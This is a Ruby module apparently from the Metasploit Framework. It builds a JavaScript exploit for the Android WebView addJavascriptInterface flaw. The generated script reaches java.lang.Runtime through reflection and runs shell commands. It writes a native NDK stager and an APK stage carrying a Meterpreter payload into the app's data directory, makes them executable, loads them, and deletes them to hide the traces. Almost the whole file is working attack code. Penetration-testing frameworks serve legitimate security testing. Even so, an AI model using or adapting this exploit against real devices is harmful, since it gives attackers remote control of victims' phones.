# -*- coding: binary -*- require 'msf/core' module Msf module Exploit::Android # Since the NDK stager is used, arch detection must be performed SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ] # Most android devices are ARM DEFAULT_ARCH = ARCH_ARMLE # Some of the default NDK build targets are named differently than # msf's builtin constants. This mapping allows the ndkstager file # to be looked up from the msf constant. NDK_FILES = { ARCH_ARMLE => 'armeabi', ARCH_MIPSLE => 'mips' } def add_javascript_interface_exploit_js(arch) stagename = Rex::Text.rand_text_alpha(5) script = %Q| function exec(runtime, cmdArr) { var ch = 0; var output = ''; var process = runtime.exec(cmdArr); var input = process.getInputStream(); while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); } return output; } function attemptExploit(obj) { // ensure that the object contains a native interface try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } // get the pid var pid = obj.getClass() .forName('android.os.Process') .getMethod('myPid', null) .invoke(null, null); // get the runtime so we can exec var runtime = obj.getClass() .forName('java.lang.Runtime') .getMethod('getRuntime', null) .invoke(null, null); // libraryData contains the bytes for a native shared object built via NDK // which will load the "stage", which in this case is our android meterpreter stager. // LibraryData is loaded via ajax later, because we have to access javascript in // order to detect what arch we are running. var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains // another stager which loads android meterpreter from the msf handler. var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}"; // get the process name, which will give us our data path // $PPID does not seem to work on android 4.0, so we concat pids manually var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; var stagePath = path + '/#{stagename}.apk'; // build the library and chmod it runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); runtime.exec(['chmod', '700', libraryPath]).waitFor(); // build the stage, chmod it, and load it runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); runtime.exec(['chmod', '700', stagePath]).waitFor(); // load the library runtime.load(libraryPath); // delete dropped files runtime.exec(['rm', stagePath]).waitFor(); runtime.exec(['rm', libraryPath]).waitFor(); return true; } for (i in top) { if (attemptExploit(top[i]) === true) break; } | # remove comments and empty lines script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '') end # The NDK stager is used to launch a hidden APK def ndkstager(stagename, arch) localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') data = File.read(localfile, :mode => 'rb') data.gsub!('PLOAD', stagename) end end end